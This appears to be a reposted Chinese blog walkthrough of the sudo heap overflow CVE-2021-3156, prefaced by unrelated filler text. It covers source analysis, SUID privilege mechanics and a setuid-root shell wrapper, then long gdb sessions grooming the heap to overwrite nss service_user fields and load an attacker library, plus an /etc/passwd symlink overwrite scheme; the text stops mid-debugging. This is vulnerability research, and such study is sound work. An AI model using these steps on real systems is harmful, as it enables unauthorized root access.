龙空技术网

SUDO漏洞提权实战(CVE-2021-3156 POC)

安全客小安 649

前言:

今天咱们对“sg0060win10”大概比较关切,朋友们都想要剖析一些“sg0060win10”的相关文章。那么小编同时在网摘上搜集了一些关于“sg0060win10””的相关资讯,希望我们能喜欢,兄弟们快快来学习一下吧!

引言

最近刷公众号看到了一个sudo的漏洞,看漏洞介绍是个堆缓冲区溢出的漏洞,出于手痒想跟进一下这个漏洞。经过一番折腾,发现这个漏洞还挺典型的,于是总结了一些想法。接下来我会在漏洞分析、提权原理、利用方案、实战分析等方面表达一些自己的观点。

漏洞分析

​ 这几天网上对这个漏洞分析已经挺多的了,这里我再简略分析一下,详情可以参考一下Qualys团队的研究记录。Qualys团队统计的漏洞影响范围是1.8.2 – 1.8.31p2 以及 1.9.0 -1.9.5p1,使用默认编译选项发行的版本。可以在 下载sudo的源代码(我使用的是1_9_5p1版本的源码)。接下来我们一起看一下源码中set_cmnd方法:

// plugins/sudoers/sudoers.c913 /*914  * Fill in user_cmnd, user_args, user_base and user_stat variables915  * and apply any command-specific defaults entries.916  */917 static int918 set_cmnd(void)919 {...957         /* Alloc and build up user_args. */958         for (size = 0, av = NewArgv + 1; *av; av++)959         size += strlen(*av) + 1;960         if (size == 0 || (user_args = malloc(size)) == NULL) {961         sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));962         debug_return_int(NOT_FOUND_ERROR);963         }964         if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {965         /*966          * When running a command via a shell, the sudo front-end967          * escapes potential meta chars.  We unescape non-spaces968          * for sudoers matching and logging purposes.969          */970         for (to = user_args, av = NewArgv + 1; (from = *av); av++) {971             while (*from) {972             if (from[0] == '\\' && !isspace((unsigned char)from[1]))973                 from++;974             *to++ = *from++;975             }976             *to++ = ' ';977         }978         *--to = '\0';979         } else {···

漏洞发生在如下逻辑中:

在958~963行会计算输入参数字符串长度,分配对等大小的堆内存。在970~978会把参数逐字节拷贝到已分配好的内存中。在972 判断了 {‘\‘, ‘\0’} 这种情况,作者的本意应该是处理转义字符,结果造成了其他漏洞。

当遇到 -s ‘param\‘’ 这种参数时:

分配内存长度为: size = strlen(“param\“) 。当970~978判断参数 {‘\‘, ‘\0’} 时执行 from++,参数的结束符 {‘\0’} 被跳过。最终导致参数以后的内存会继续向user_args中拷贝,直到遇到{‘\0’} 才结束。linux 命令行程序参数后边的内存空间存放的是当前命令行的环境变量。因而可以继续构造包含{‘\‘, ‘\0’} 的环境变量,实现内存任意溢出。

接下让我们看一下sudo程序的运行内存,验证上诉的第4点。

# env -i HOME=/root PATH=/usr/bin/ '11=b\' '22=c\' '33=dddddddddddddddddd' gdb --args /tmp/sudo/bin/sudoeditpwndbg> show envHOME=/rootPATH=/usr/bin/11=b\22=c\33=dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddpwndbg> b sudoers.c:1014    Breakpoint 3 at 0x7fa8a7fcf19d: sudoers.c:1014. (2 locations)pwndbg> r -s 'aaaaaaaaaaaaaaaaaaaaaaaaa\'...pwndbg> p sudo_user.cmnd_args$1 = 0x555c71019e70 'a' <repeats 25 times>pwndbg> hexdump sudo_user.cmnd_args 128+0000 0x555c71019e70  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│+0010 0x555c71019e80  61 61 61 61  61 61 61 61  61 00 31 31  3d 62 00 32  │aaaa│aaaa│a.11│=b.2│+0020 0x555c71019e90  32 3d 63 00  33 33 3d 64  64 64 64 64  64 64 64 64  │2=c.│33=d│dddd│dddd│+0030 0x555c71019ea0  64 64 64 64  64 64 64 64  64 64 64 64  64 64 64 64  │dddd│dddd│dddd│dddd│...+0060 0x555c71019ed0  64 64 64 64  64 64 64 64  64 64 64 64  64 64 00 65  │dddd│dddd│dddd│dd.e│+0070 0x555c71019ee0  20 6d 6f 64  65 73 2e 0a  23 20 53 65  65 20 74 68  │.mod│es..│#.Se│e.th

我们发现sudo_user.cmnd_args内存以后的内存已经被环境变量覆盖了。

提权原理分析

​ 说到sudo类程序的提权原理,我们需要复习一下linux文件权限表,日常开发中我们常用的文件配置权限如下:

-rw------- (600)    只有拥有者有读写权限。-rw-r--r-- (644)    只有拥有者有读写权限;而属组用户和其他用户只有读权限。-rwx------ (700)    只有拥有者有读、写、执行权限。-rwxr-xr-x (755)    拥有者有读、写、执行权限;而属组用户和其他用户只有读、执行权限。-rwx--x--x (711)    拥有者有读、写、执行权限;而属组用户和其他用户只有执行权限。-rw-rw-rw- (666)    所有用户都有文件读、写权限。-rwxrwxrwx (777)    所有用户都有读、写、执行权限。

我们在分别查看一下普通程序(/usr/bin/ls)和sudo类程序(/usr/bin/sudo)的文件权限配置:

-> % stat -c '%04a %U %G %n' /usr/bin/ls  0755 root root /usr/bin/ls-> % stat -c '%a %U %G %n' /usr/bin/sudo4755 root root /usr/bin/sudo

sudo程序的不难发现多最高位权限码是4,这个文件权限码涉及的linux文件的SUID、SGID、Sticky权限配置,这三个具体作用如下:

SUID: 作用于二进制文件,使用者将继承此程序的所有者权限SGID: 作用于二进制文件和目录对于二进制文件: 使用者将继承此程序的所属组权限对于目录: 此文件夹下所有用户新建文件都自动继承此目录的用户组Sticky:作用于目录,目录中每个用户仅能删除、移动或改名自己的文件或目录

sudo程序具备SUID权限,同时sudo的所有者是root,因此普通用户执行sudo程序是可以以root身份去执行的,我们可以实现个简版的sudo.min 程序测试一下:

-> % cat << EOF | sudo gcc -Wno-implicit-function-declaration -o sudo.min -xc -int main(int argc, char **argv) {    return !setuid(0) && argc > 1 && execvp(argv[1], argv + 1);}EOF-> % sudo chmod 4755 sudo.min-> % stat -c '%04a %U %G %n' sudo.min4755 root root sudo.min-> % ./sudo.min id -u0-> % ./sudo.min shsh-5.0# id -u0

上诉简版的sudo程序中我们不难发现带有SUID权限的sudo程序具备了所有者(root)的权限。然而真正的sudo程序会在执行输入命令前鉴定执行者的权限,只有通过了,才会继续执行输入的命令。CVE-2021-3156漏洞在发生在方法set_cnmd,此方法是权限鉴定前的逻辑,因此会造成任意用户提全的风险。

利用方案

​ 根据前文的漏洞分析我们已经知道,可以通过输入特殊的参数和环境变量,实现任意大小的堆内存溢出,Qualys团队给出了三种利用这个漏洞的思路,我发现这三种漏洞利用思路属于比较经典的堆溢出利用方案,接下来我会将详细剖析一下这三种利用思路。

重写函数指针

​ 函数指针在CPU执行过程中会经历间接寻址、执行的过程,因此替换函数指针的值便可以实现任意代码执行,Qualys团队通过crash日志分析找到了struct sudo_hook_entry,修改struct sudo_hook_entry实例可以实现任意代码执行的目的,接下来我们根据源码探究一下这个方案的可行性。

// src/hooks.c... 34 /* Singly linked hook list. */ 35 struct sudo_hook_entry { 36     SLIST_ENTRY(sudo_hook_entry) entries; 37     union { 38     sudo_hook_fn_t generic_fn; 39     sudo_hook_fn_setenv_t setenv_fn; 40     sudo_hook_fn_unsetenv_t unsetenv_fn; 41     sudo_hook_fn_getenv_t getenv_fn; 42     sudo_hook_fn_putenv_t putenv_fn; 43     } u; 44     void *closure; 45 }; 46 SLIST_HEAD(sudo_hook_list, sudo_hook_entry); 47  48 /* Each hook type gets own hook list. */ 49 static struct sudo_hook_list sudo_hook_setenv_list = 50     SLIST_HEAD_INITIALIZER(sudo_hook_setenv_list); 51 static struct sudo_hook_list sudo_hook_unsetenv_list = 52     SLIST_HEAD_INITIALIZER(sudo_hook_unsetenv_list); 53 static struct sudo_hook_list sudo_hook_getenv_list = 54     SLIST_HEAD_INITIALIZER(sudo_hook_getenv_list); 55 static struct sudo_hook_list sudo_hook_putenv_list = 56     SLIST_HEAD_INITIALIZER(sudo_hook_putenv_list);...125 /* Hook registration internals. */126 static int127 register_hook_internal(struct sudo_hook_list *head,128     int (*hook_fn)(), void *closure)129 {130     struct sudo_hook_entry *hook;131     debug_decl(register_hook_internal, SUDO_DEBUG_HOOKS);132 133     if ((hook = calloc(1, sizeof(*hook))) == NULL) {134     sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,135         "unable to allocate memory");136     debug_return_int(-1);137     }138     hook->u.generic_fn = hook_fn;139     hook->closure = closure;140     SLIST_INSERT_HEAD(head, hook, entries);141 142     debug_return_int(0);143 }...

​ 分析struct sudo_hook_entry 的定义中我们不难发现,sudo_hook_entry中包含一个函数指针,而且这个指针还是一个union类型的指针。(猜测作者应该是想作为智能指针使用,智能指针详情,请了解 c++ 的auto指针)。因为这个漏洞是堆溢出类型的漏洞,如果想通过溢出直接修改sudo_hook_entry的实例,sudo_hook_entry的实例最好是在堆空间的实例(由malloc、calloc、……申请的内存是堆空间,如果是静态区就比较麻烦了)。分析register_hook_internal函数的133行我们不难发现,sudo_hook_entry的实例是由calloc申请的内存。因此只要sudo_hook_entry实例的函数指针在sudo程序中有被执行,修改sudo_hook_entry实例的函数指针的确能够实现任意任意代码执行的目的。

​ 上述我们分析论证了重写sudo_hook_entry实例的理论可行性,不过想要真正的实现任意代码执行,对于这个程序还要满足其他条件,我总结为以下几点:

能够加载自定义的代码,修改实例函数指针,让其执行自定义代码。能够执行自定义代码,修改实力函数指针为execv、dlopen等加载额外代码的接口地址,再配合有效的参数,实现执行自定义代码模块。

Qualys团队通过构造参数满足第二个条件来实现任意代码执行的。让我们继续分析源码,探求一下其中原理。

// src/hooks.c ... 90 /* NOTE: must not anything that might call getenv() */ 91 int 92 process_hooks_getenv(const char *name, char **value) 93 { 94     struct sudo_hook_entry *hook; 95     char *val = NULL; 96     int rc = SUDO_HOOK_RET_NEXT; 97  98     /* First process the hooks. */ 99     SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {100     rc = hook->u.getenv_fn(name, &val, hook->closure);101     if (rc == SUDO_HOOK_RET_STOP || rc == SUDO_HOOK_RET_ERROR)102         break;103     }104     if (val != NULL)105     *value = val;106     return rc;107 }...

​ 在process_hooks_getenv函数的第100行执行了函数指针,该函数的第一个参数是一个字符串,如果用execv的函数地址重写getenv_fn的地址,第100行将执行execv(name, &val, hook->closure),只要运行sudo程序的当前路径下存在一个与同name同名的可执行程序,便可以实现任意代码执行。

​ 当前主流的操作系统大多数开启了alsr机制,因此execv的函数地址、以及process_hooks_getenv实例地址,在每次运行sudo时都是不同,而且在健全的操作系统里,用户只允许查看自己的crash日志。,因此通过对抗alsr来修改函数指针在实战中还是比较困难的。个人觉得实现这个利用方案还要是掺杂一些运气进去的。

重写模块加载接口参数

​ 通过修改加载模块接口函数(dlopen、execv、……)的参数也是一个引入自定义代码有效方法。Qualys团队通过crash日志分析找到struct service_user可以实现任意代码执行的目的,接下来我们根据源码和函数运行内存探究一下这个方案的可行性。

pwndbg> b set_cmnd        Breakpoint 1 at 0x7f40003ebfd0: file ./sudoers.c, line 922.pwndbg> r -s xxxxxx\\ xxxxxxxxxxxxx         Starting program: /tmp/sudo/bin/sudoedit -s xxxxxx\\ xxxxxxxxxxxxx[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Breakpoint 1, set_cmnd () at ./sudoers.c:922...pwndbg> b nss_load_library Breakpoint 2 at 0x7fc7b9b8d4c0: file nsswitch.c, line 329.pwndbg> c                                                                                                   Continuing.Breakpoint 2, nss_load_library (ni=ni@entry=0x561ae1533cc0) at nsswitch.c:329pwndbg> p ni                                                   $1 = (service_user *) 0x56536ec44cc0pwndbg> p *ni                                                       $2 = {  next = 0x56536ec44d00,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},  library = 0x0,  known = 0x56536ec50c60,  name = 0x56536ec44cf0 "files"}pwndbg> p sudo_user.cmnd_args$3 = 0x56536ed07a0 "xxxxxx"pwndbg> heapbase                                                 heapbase : 0x56536ec4400pwndbg> p (void*) 0x56536ed07a0 - 0x56536ec44cc0                                                             $4 = (void *) 0xffffaf11c828bae0

​ 在上述调试窗口中,我的测试方法可以概括为以下几步:

设置可以让set_cmnd堆溢出的参数:”-s xxxxxx\ xxxxxxxxxxxxx”判断set_cmnd堆溢出后内否执行到nss_load_library查看ni的地址是否属于堆空间(通过heapbase我们可以判断ni的地址属于堆空间)计算sudo_user.cmnd_args 和ni的地址偏移量(0xffffaf11c828bae0)判断ni与ni->name 是否属于同一片内存(这点也是比较关键的,后文我会结合源码会详细解释原因)

经过上诉操作可以得出以下几条结论:

set_cmnd溢出后仍然能够执行到nss_load_library,也就是说set_cmnd和nss_load_library之间的代码段没有受到坏内存影响。ni内存是在sudo_user.cmnd_args之前申请的,因为二者偏移量为负数。(heap分配内存是由低址 -> 高地址方向分配,重新运行调试窗口便可以发现nss_load_library在set_cmnd前执行过)

接下来我们接续分析一下nss_load_library的源码实现:

// glibc-2.31 我的操作系统的libc版本是 GLIBC 2.31-0// 通过执行/usr/lib/x86_64-linux-gnu/libc.so.6 查看自己操作系统的libc版本// nss/nsswitch.h... 61 typedef struct service_user 62 { 63   /* And the link to the next entry.  */ 64   struct service_user *next; 65   /* Action according to result.  */ 66   lookup_actions actions[5]; 67   /* Link to the underlying library object.  */ 68   service_library *library; 69   /* Collection of known functions.  */ 70   void *known; 71   /* Name of the service (`files', `dns', `nis', ...).  */ 72   char name[0]; 73 } service_user;...//nss/nsswitch.c...318 /* Load library.  */319 static int320 nss_load_library (service_user *ni)321 {322   if (ni->library == NULL)323     {324       /* This service has not yet been used.  Fetch the service325      library for it, creating a new one if need be.  If there326      is no service table from the file, this static variable327      holds the head of the service_library list made from the328      default configuration.  */329       static name_database default_table;330       ni->library = nss_new_service (service_table ?: &default_table,331                      ni->name);332       if (ni->library == NULL)333     return -1;334     }335 336   if (ni->library->lib_handle == NULL)337     {338       /* Load the shared library.  */339       size_t shlen = (7 + strlen (ni->name) + 3340               + strlen (__nss_shlib_revision) + 1);341       int saved_errno = errno;342       char shlib_name[shlen];343 344       /* Construct shared object name.  */345       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,346                           "libnss_"),347                     ni->name),348               ".so"),349         __nss_shlib_revision);350 351       ni->library->lib_handle = __libc_dlopen (shlib_name);352       if (ni->library->lib_handle == NULL)...

​ 通过观察nssload_library的实现,我们不难发现当ni->library == NULL时,会触发第351行的dlopen加载一个以”libnss“开头,”.so.2”结尾的动态库。动态库的完整值取决于ni->name的值。因此我们只要通过堆溢出修改ni->library为NULL,ni->name为遵循nss命名规范的自定义动态库既可以加载自定义的代码了。

​ 由上文分析证明只需要修改ni->library和ni->name两处值便可以实现利用漏洞的目的。对于一次性漏洞(一个生命周期中只允许触发一次的漏洞)同时修改两处不同的内存难度是很大的。不过在上文的运行内存分析中我们已经发现ni和ni->name 属于同一片内存。为了证明这两个地址在同一片内存不是偶然的,我们还要继续分一下struct service_user 的结构。

​ nss/nsswitch.h的第 61 – 73行定义了 struct service_user的结构, 第72行的 char name[0];(柔性数组)决定了ni和ni->name指向的地址是一段连续内存。(这种写法在高性能编程里经常会用到,因为这样会减少一次malloc/free,这里不做过多的讨论,以后有机会可以详细分析一下。)

​ 在上文的运行内存分析时,我提到过:”sudouser.cmnd_args 和ni的地址偏移量是负数“。堆内存是由低地址向高地址分配的,溢出是低地址向高地址溢出的。只有sudo_user.cmnd_args的地址在ni地址之前才能实现修改ni内容。这里我们还要了解一下malloc的缓存机制,为了提高分配内存的速度,以及减少内存碎片。高版本libc中引入了fastbins、largetbins、smallbins、tcachebins等缓存机制。(当前主流操作系统的libc版本都支持这些缓存机制)。因为sudo_user.cmnd_args地址空间长度受我们自己控制,我们只要在ni分配之前申请一块特殊长度的内存,保证在ni之前分配,在set_cmnd前释放且没被其他逻辑再申请走。基于Qualys团队的分析思路,我们可以通过setlocale的方法通过控制LC*的环境变量构造好这个特殊长度的内存碎片。构造内存碎片的过程我会在后文的实战中做进一步演示,这里不做再多的分析。

​ 个人经验来看这个利用方案要比对抗alsr的方案实战性高一些,因为它对操作系统没有任何额外要求,构造随机内存碎片的运气成分也可以通过研究内存分配逻辑来解决。

篡改权限鉴定配置

​ 这种这利用方式属于sudo程序特有逻辑,sudo程序在权限鉴定时首先会查找session,判断session中的权限鉴定是否有效。(一般操作系统sudo的session都会持续一段时间,在这个时间内,再次调用sudo不用输入密码。这种session机制本身就存在缺陷,在某些情况下是可以利用的,不过这里没有用到) 。这个session检查接口(timestamp_lock)有一个小漏洞:timestamp_lock在寻找入口结构(struct timestamp_entry)时,没有做tlv结构的完整性校验,造成错误的timestamp_entry结构会被写回到session文件中。接下来我们根据源码再研究一下:

// plugins/sudoers/def_data.h... 95 #define I_TIMESTAMPDIR          46 96 #define def_timestampdir        (sudo_defs_table[I_TIMESTAMPDIR].sd_un.str) //"/run/sudo/ts" 97 #define I_TIMESTAMPOWNER        47...// plugins/sudoers/defaults.c ... 583     goto oom; 584     if ((def_timestampdir = strdup(_PATH_SUDO_TIMEDIR)) == NULL) 585     goto oom; ...    // plugins/sudoers/check.h... 65 struct timestamp_entry { 66     unsigned short version; /* version number */ 67     unsigned short size;    /* entry size */ 68     unsigned short type;    /* TS_GLOBAL, TS_TTY, TS_PPID */ 69     unsigned short flags;   /* TS_DISABLED, TS_ANYUID */ 70     uid_t auth_uid;     /* uid to authenticate as */ 71     pid_t sid;          /* session ID associated with tty/ppid */ 72     struct timespec start_time; /* session/ppid start time */ 73     struct timespec ts;     /* time stamp (CLOCK_MONOTONIC) */ 74     union { 75     dev_t ttydev;       /* tty device number */ 76     pid_t ppid;     /* parent pid */ 77     } u; 78 }; ... // plugins/sudoers/timestamp.c ... 298 static ssize_t 299 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset) 300 { ... 305     if (offset == -1) { 306     old_eof = lseek(fd, 0, SEEK_CUR); 307     nwritten = write(fd, entry, entry->size); 308     } else { ... 398 /* 399  * Open the user's time stamp file. 400  * Returns a cookie or NULL on error, does not lock the file. 401  */ 402 void * 403 timestamp_open(const char *user, pid_t sid) 404 { ... 420     /* Open time stamp file. */ 421     if (asprintf(&fname, "%s/%s", def_timestampdir, user) == -1) { 422     sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); ... 608 /* 609  * Lock a record in the time stamp file for exclusive access. 610  * If the record does not exist, it is created (as disabled). 611  */ 612 bool 613 timestamp_lock(void *vcookie, struct passwd *pw) 614 { ... 638     nread = read(cookie->fd, &entry, sizeof(entry)); 639     if (nread < ssizeof(struct timestamp_entry_v1)) { 640     /* New or invalid time stamp file. */ 641     overwrite = true; 642     } else if (entry.type != TS_LOCKEXCL) { ... 648         if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1) 649         debug_return_bool(false); 650     } else { ...

在plugins/sudoers/timestamp.c 的421行我们不难发现,sudo默认session路径是“/run/sudo/ts” + 当前用户名,def_timestampdir的地址是一个堆地址(plugins/sudoers/defaults.c的584行不难发现,使用strdup初始化的def_timestampdir)。因此我们可以总结一下这个方案的利用思路:

构造溢出内存重写def_timestampdir的值,修改成一个普通用户可写的目录,暂记为NDIR。启动其他进程在NDIR中创建一个名称为当前用户指向 /etc/passwd的软链接在同一块溢出内存中构造uid是0的当前用户配置(例如:test: x:0:0::/home/test:/usr/bin/sh)利用timestamp_lock的回写逻辑把新的配置写入到NDIR/test -> /etc/passwd,最终实现test的uid == 0

​ 这个漏洞利用方案有点像前几年的内核“脏牛”漏洞,都是通过越权修改文件,最终实现提权效果。根据Qualys团队的研究表明,timestamp_lock的小漏洞已经在2020.01的586b418a修复了,目前还没有backport到老的版本中。

POC实战

​ 上诉的三类方案中我个人更喜欢第二个方案,有以下几个原因:

不需要与alsr对抗,有些操作系统不允许读取crash日志,获取alsr基地址比较困难。个人更喜欢缓存攻击的攻击方案(以前工作中写过一些内核POC,经常会利用slab/slub机制。缓存设计的本意是提升效率的,结果引发了新的安全问题,感兴趣的同学可以详细学习一下。)第三个方案依赖其他漏洞,前提条件太多,针对性太强。

综上几个原因,让我们开始第二个方案的实战吧。

我们已经知道sudo的运行内存会受到LC_*的环境变量影响我们先清空一下环境变量看一下sudo的运行内存情况:

# env -i HOME=/root PATH=/usr/bin/ gdb --args /tmp/sudo/bin/sudoedit -A -s xxxxxx\\ xxxxxxxxxxxxx

set_cmnd执行前的内存情况:

pwndbg> heapbaseheapbase : 0x55790ab92000pwndbg> heapinfo                  top: 0x55790aba6a50 (size : 0xc5b0)        last_remainder: 0x55790ab9eba0 (size : 0xf00)             unsortbin: 0x55790ab9eba0 (size : 0xf00)         largebin[48]: 0x55790aba3bd0 (size : 0x2d20)         largebin[50]: 0x55790ab9faf0 (size : 0x4010)(0x20)   tcache_entry[0](1): 0x55790ab9e390(0x40)   tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920(0x70)   tcache_entry[5](1): 0x55790ab93480(0x80)   tcache_entry[6](1): 0x55790aba3b60(0x100)   tcache_entry[14](1): 0x55790ab97f10(0x150)   tcache_entry[19](1): 0x55790ab96ae0(0x180)   tcache_entry[22](1): 0x55790ab96960(0x1e0)   tcache_entry[28](1): 0x55790ab9e8c0

set_cmnd执行后nss_load_library初始化__nss_group_database前的的内存情况:

pwndbg> heapinfo                  top: 0x55790aba6a50 (size : 0xc5b0)        last_remainder: 0x55790ab9ec40 (size : 0xe60)             unsortbin: 0x55790ab9ec40 (size : 0xe60)         largebin[48]: 0x55790aba3bd0 (size : 0x2d20)         largebin[50]: 0x55790ab9faf0 (size : 0x4010)(0x40)   tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920(0x70)   tcache_entry[5](1): 0x55790ab93480(0x80)   tcache_entry[6](1): 0x55790aba3b60(0x100)   tcache_entry[14](1): 0x55790ab97f10(0x150)   tcache_entry[19](1): 0x55790ab96ae0(0x180)   tcache_entry[22](1): 0x55790ab96960(0x1e0)   tcache_entry[28](1): 0x55790ab9e8c0

nss_load_library初始化__nss_group_database和sudo_user.cmnd_args后的内存i情况:

pwndbg> heapinfo                  top: 0x55790aba6a50 (size : 0xc5b0)        last_remainder: 0x55790ab9ec80 (size : 0xe20)             unsortbin: 0x55790ab9ec80 (size : 0xe20)         largebin[48]: 0x55790aba3bd0 (size : 0x2d20)         largebin[50]: 0x55790ab9faf0 (size : 0x4010)(0x40)   tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920(0x70)   tcache_entry[5](1): 0x55790ab93480(0x80)   tcache_entry[6](1): 0x55790aba3b60(0x100)   tcache_entry[14](1): 0x55790ab97f10(0x150)   tcache_entry[19](1): 0x55790ab96ae0(0x180)   tcache_entry[22](1): 0x55790ab96960(0x1e0)   tcache_entry[28](1): 0x55790ab9e8c0pwndbg> p __nss_group_database                                                                               $5 = (service_user *) 0x55790ab92cc0pwndbg> p sudo_user.cmnd_args                                                                                 $6 = 0x55790ab9e390 "xxxxxx"pwndbg> chunkptr __nss_group_database                                                                         ==================================            Chunk info            ==================================Status :  Used Freeable : Trueprev_size : 0x70756f7267                  size : 0x40                  prev_inused : 1                    is_mmap : 0                    non_mainarea : 0 pwndbg> chunkptr sudo_user.cmnd_args                                                                         ==================================            Chunk info            ==================================Status :  Freed Unlinkable : False (FD or BK is corruption)  Can't access memoryprev_size : 0x0                  size : 0x20                  prev_inused : 1                    is_mmap : 0                    non_mainarea : 0                     fd : 0x7800787878787878                  bk : 0x7878787878787878

上述的内存情况我们可以得到以下结论:

sudo_user.cmnd_args的地址高于__nss_group_database的地址tcache中也没有低于__nss_group_database的地址__nss_group_database节点的大小是0x40。sudo_user.cmnd_args节点的大小是0x20 。(因为已经溢出下一个chunk已经被破坏)

接下来我们构造一些内存碎片,给让他们的地址小于__nss_group_database

pwndbg> set env LC_IDENTIFICATION=en_US.UTF-8@xxxxxxxxxxxxxpwndbg> heapbaseheapbase : 0x56447517a000pwndbg> heapinfo                  top: 0x564475190500 (size : 0xab00)        last_remainder: 0x564475188730 (size : 0xe20)             unsortbin: 0x564475188730 (size : 0xe20)         largebin[48]: 0x56447518d680 (size : 0x2d20)         largebin[50]: 0x5644751895a0 (size : 0x4010)(0x40)   tcache_entry[2](3): 0x56447517d7e0 --> 0x56447517d770 --> 0x56447517d460(0x70)   tcache_entry[5](1): 0x56447517cf80(0x80)   tcache_entry[6](1): 0x56447518d610(0x100)   tcache_entry[14](1): 0x5644751819c0(0x150)   tcache_entry[19](1): 0x56447517d620(0x180)   tcache_entry[22](1): 0x56447517d4a0(0x1e0)   tcache_entry[28](1): 0x564475188370pwndbg> p __nss_group_database                                                                               $1 = (service_user *) 0x56447517d8c0pwndbg> p sudo_user.cmnd_args                                                                                 $2 = 0x564475187e40 "xxxxxx"pwndbg> p (void*)__nss_group_database - 0x56447517d7e0                                                       $2 = (void *) 0xe0

此时我们发现,tcache_entry[2]、tcache_entry[19]、 tcache_entry[22]的内存碎片地址都小于__nss_passwd_database的地址。接下来我们调整输入参数,申请到这个碎片。

pwndbg> b set_cmnd Breakpoint 1 at 0x7f36d5c62fd0: file ./sudoers.c, line 922.pwndbg> r -s 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\'...pwndbg> heapbase                                                                                             heapbase : 0x555f813c5000pwndbg> heapinfo                  top: 0x555f813db500 (size : 0xab00)        last_remainder: 0x555f813d3650 (size : 0xf00)             unsortbin: 0x555f813d3650 (size : 0xf00)         largebin[48]: 0x555f813d8680 (size : 0x2d20)         largebin[50]: 0x555f813d45a0 (size : 0x4010)(0x20)   tcache_entry[0](1): 0x555f813d2e40(0x40)   tcache_entry[2](3): 0x555f813c87d0 --> 0x555f813c8770 --> 0x555f813c8460(0x70)   tcache_entry[5](1): 0x555f813c7f80(0x80)   tcache_entry[6](1): 0x555f813d8610(0x100)   tcache_entry[14](1): 0x555f813cc9c0(0x150)   tcache_entry[19](1): 0x555f813c8620(0x180)   tcache_entry[22](1): 0x555f813c84a0(0x1e0)   tcache_entry[28](1): 0x555f813d3370pwndbg> b ./sudoers.c:1014                                                                                   Breakpoint 2 at 0x7f053126319d: ./sudoers.c:1014. (2 locations)pwndbg> c...pwndbg> heapinfo                                                                        top: 0x555f813db500 (size : 0xab00)        last_remainder: 0x555f813d36f0 (size : 0xe60)             unsortbin: 0x555f813d36f0 (size : 0xe60)         largebin[48]: 0x555f813d8680 (size : 0x2d20)         largebin[50]: 0x555f813d45a0 (size : 0x4010)(0x20)   tcache_entry[0](1): 0x555f813d2e40(0x40)   tcache_entry[2](2): 0x555f813c8770 --> 0x555f813c8460 // 0x555f813c87d0 已经被我们申请走了(0x70)   tcache_entry[5](1): 0x555f813c7f80(0x80)   tcache_entry[6](1): 0x555f813d8610(0x100)   tcache_entry[14](1): 0x555f813cc9c0(0x150)   tcache_entry[19](1): 0x555f813c8620(0x180)   tcache_entry[22](1): 0x555f813c84a0(0x1e0)   tcache_entry[28](1): 0x555f813d3370pwndbg> b nss_load_library                                                                                   Breakpoint 3 at 0x7f0531c8c4c0: file nsswitch.c, line 329.pwndbg> c...pwndbg> p __nss_group_database $1 = (service_user *) 0x555f813c88c0pwndbg> p sudo_user.cmnd_args                                                                                 $2 = 0x555f813c87d0 'x' <repeats 54 times>pwndbg> p (void*)__nss_group_database - (void*)sudo_user.cmnd_args      $38 = 240pwndbg> p (void*)&__nss_group_database->library - (void*)sudo_user.cmnd_args                                 $49 = 272pwndbg> p (void*)__nss_group_database->name - (void*)sudo_user.cmnd_args                                     $40 = 288

现在我们已经构造好了内存布局,接下来我们调整环境变量,实现修改 _nss_group_database {library、name}的值。如果要真正实现漏洞利用,需要将libary的值修改成NULL,name修改一个两个字节以上的字符串。根据漏洞特点连续的{‘\’ ‘\’ ‘\’ ‘\’ …}会溢出成一个连续0的内存空间,如果要修改libary为NULL,至少要连续八个‘\’ 以上,然后我们接着构造溢出参数,实现修改library的目的。

pwndbg> b set_cmnd Breakpoint 1 at 0x7fdc9f272fd0: file ./sudoers.c, line 922.pwndbg> set env 1 xxxxxpwndbg> r -s 'xxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'...pwndbg> search -t string -s filessudo            0x557da6f2f370 0x73656c6966 /* 'files' */sudo            0x557da6f2f3b2 0x65730073656c6966 /* 'files' */[heap]          0x557da7cd4190 0x73656c6966 /* 'files' */[heap]          0x557da7cd68f0 0x73656c6966 /* 'files' */[heap]          0x557da7cd6990 0x73656c6966 /* 'files' */[heap]          0x557da7cd69f0 0x73656c6966 /* 'files' */[heap]          0x557da7cd6a50 0x73656c6966 /* 'files' */[heap]          0x557da7cd6b50 0x73656c6966 /* 'files' */[heap]          0x557da7cd6c00 0x73656c6966 /* 'files' */[heap]          0x557da7cd6cb0 0x73656c6966 /* 'files' */[heap]          0x557da7cd6d50 0x73656c6966 /* 'files' */[heap]          0x557da7cd6df0 0x73656c6966 /* 'files' */sudoers.so      0x7f60ad46b339 0x73000073656c6966 /* 'files' */libc-2.31.so    0x7f60adecd9c7 0x65540073656c6966 /* 'files' */libc-2.31.so    0x7f60adececc5 0x6f680073656c6966 /* 'files' */libc-2.31.so    0x7f60aded070e 0x652f0073656c6966 /* 'files' */libc-2.31.so    0x7f60aded36a9 0x49000073656c6966 /* 'files' */ld-2.31.so      0x7f60adf9216d 0x73656c6966 /* 'files' */pwndbg> p *__nss_passwd_database$1 = {  next = 0x557da7cd4440,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},  library = 0x557da7cd58f0,  known = 0x557da7cd58b0,  name = 0x557da7cd4190 "files"}pwndbg> p *(service_user *)(0x557da7cd68f0 - 